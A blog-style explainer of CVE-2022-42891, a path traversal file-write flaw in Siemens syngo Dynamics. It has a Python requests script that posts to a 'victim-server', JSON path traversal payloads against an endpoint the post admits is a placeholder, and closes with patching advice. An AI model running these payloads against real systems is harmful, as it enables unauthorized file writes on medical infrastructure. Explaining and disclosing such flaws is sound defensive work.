*Published on [YourSiteHere.com], June 2024*


Siemens syngo Dynamics is a widely used healthcare system that helps medical professionals manage cardiovascular imaging data. In 2022, a serious vulnerability was reported: CVE-2022-42891. This security issue affects all versions of syngo Dynamics prior to VA40G HF01 and could let an attacker write data to unexpected folders in the server’s filesystem. Below you’ll find a high-level explanation, technical details, sample code snippets, and links to original sources.

What’s the Issue?

The syngo Dynamics application server hosts a web service. One of its operations doesn’t properly control where files can be written. This means, if you know how, you can potentially write files anywhere that the application pool's account has access to — not just in intended folders. This is an example of improper access control (CWE-284) or, more specifically, an improper limitation of a pathname to a restricted directory ('Path Traversal') (CWE-22).

In plain language:  
> A user—even without admin rights—can abuse this hole to drop or replace files throughout the filesystem, possibly enabling further attacks.

What can attackers do?

Upload files in directories they’re not supposed to (as long as the web service's user account has access).

Do I need to be authenticated?

Exploitability may require authenticated access to the web service. Still, in many real-world deployments, internal users or weak authentication may expose the danger.

1. The Vulnerable Service

There is a web API function, let’s call it UploadFile, that accepts a filepath parameter, but does not properly filter or restrict it.

Vulnerable pseudo-endpoint

POST /syngodyn/UploadFile
Content-Type: application/json

{
    "filePath": "C:\\any\\path\\you\\want\\file.txt",
    "fileContents": "Hacked by CVE-2022-42891"
}

2. Exploit Code Example

Assume default NTFS permissions for the app pool user. You can easily test exploitability with curl or any HTTP tool:

import requests

target_url = "https://victim-server/syngodyn/UploadFile";
malicious_payload = {
    # Try path traversal using "..\\" or absolute path
    "filePath": "C:\\Windows\\Temp\\malicious.txt",
    "fileContents": "CVE-2022-42891 exploited!"
}

response = requests.post(target_url, json=malicious_payload, verify=False)
print("Status:", response.status_code)
print("Response:", response.text)

Or try a classic path traversal payload

{
  "filePath": "..\\..\\..\\..\\malicious.txt",
  "fileContents": "Hello from CVE-2022-42891!"
}

If the API writes the file outside its base folder, it’s vulnerable.

Official Patch

Siemens has released VA40G HF01 to fix this issue.

References

- Siemens Security Advisory SSA-086304
- NVD Entry for CVE-2022-42891
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
- CWE-284: Improper Access Control

Conclusion

CVE-2022-42891 affects critical medical systems. If exploited, attackers could write malicious files anywhere the application pool user can reach. This opens the door to data loss, ransomware, or lateral movement. Patch now (VA40G HF01), tighten permissions, and keep an eye on your logs.  

Protect your patients, your data, and your reputation. This simple mistake—forgetting to lock down file access—shows even big companies need to double-check every API.

Stay safe!

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Timeline

Published on: 11/17/2022 17:15:00 UTC
Last modified on: 11/21/2022 19:58:00 UTC